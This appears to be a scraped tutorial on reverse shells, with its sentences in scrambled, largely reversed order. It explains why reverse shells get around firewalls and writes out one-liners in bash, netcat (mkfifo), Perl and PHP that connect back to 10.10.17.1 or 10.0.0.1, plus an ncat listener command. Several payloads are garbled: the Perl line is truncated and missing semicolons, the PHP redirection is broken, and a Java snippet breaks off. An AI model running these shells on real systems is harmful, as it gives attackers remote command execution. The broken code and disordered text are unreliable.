Netcat is rarely available on production servers, but if all else fails, the attacker can try the following: rm /tmp/f mkfifo /tmp/f cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/fįor an impressive list of reverse shell payloads, you can refer to the Reverse Shell Cheat Sheet maintained by Swissky on GitHub. Perl is another good candidate for a reverse shell on a web server: perl -e 'use Socket $i="10.10.17.1" $p=1337 socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) if(connect(S,sockaddr_in($p,inet_aton($i))))end' If the target machine uses Java, try the following: r = Runtime.getRuntime()
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Another option for PHP is to download and execute a more complex script developed by pentestmonkey. If this does not work, you can try replacing &3 with consecutive file descriptors. If the target machine is a web server and it uses PHP, this language is an excellent choice for a reverse shell: php -r '$sock=fsockopen("10.10.17.1",1337) exec("/bin/sh -i &3 2>&3") ' This was tested on Ubuntu 18.04 but not all versions of bash support this function: /bin/bash -i >& /dev/tcp/10.10.17.1/1337 0>&1 The simplest method is to use bash which is available on almost all Linux machines. The following one-liners executed on the compromised target machine create a reverse shell connection with the attacker’s machine: Bash Reverse Shell Let’s assume that the user’s machine is available at the IP address 10.10.17.1. This establishes the listener on TCP port 1337. For example, on a Linux machine, all you need is the following netcat command: ncat -l -p 1337 First, you need a listener on your local machine with a public IP. It is very simple to create reverse shells using different tools and languages. All that the attacker needs is a machine that has a public (routable) IP address and a tool such as netcat to create the listener and bind shell access to it. Therefore, an attacker may establish a server on their own machine and create a reverse connection. On the other hand, firewalls usually do not limit outgoing connections at all.
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This means that there is no possibility to establish a shell listener on the attacked server. For example, a dedicated web server will only accept connections on ports 80 and 443. Attacked servers usually allow connections only on specific ports. The primary reason why reverse shells are often used by attackers is the way that most firewalls are configured. It is the target machine that initiates the connection to the user, and the user’s computer listens for incoming connections on a specified port. With a reverse shell, the roles are opposite. The user initiates a remote shell connection and the target system listens for such connections.
![netcat reverse shell task lab netcat reverse shell task lab](https://www.infosecademy.com/wp-content/uploads/2021/01/image-20.png)
In a typical remote system access scenario, the user is the client and the target machine is the server. One of the methods used to circumvent this limitation is a reverse shell. However, most systems are behind firewalls and direct remote shell connections are impossible.
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With such access, they can try to elevate their privileges to obtain full control of the operating system. To gain control over a compromised system, an attacker usually aims to gain interactive shell access for arbitrary command execution.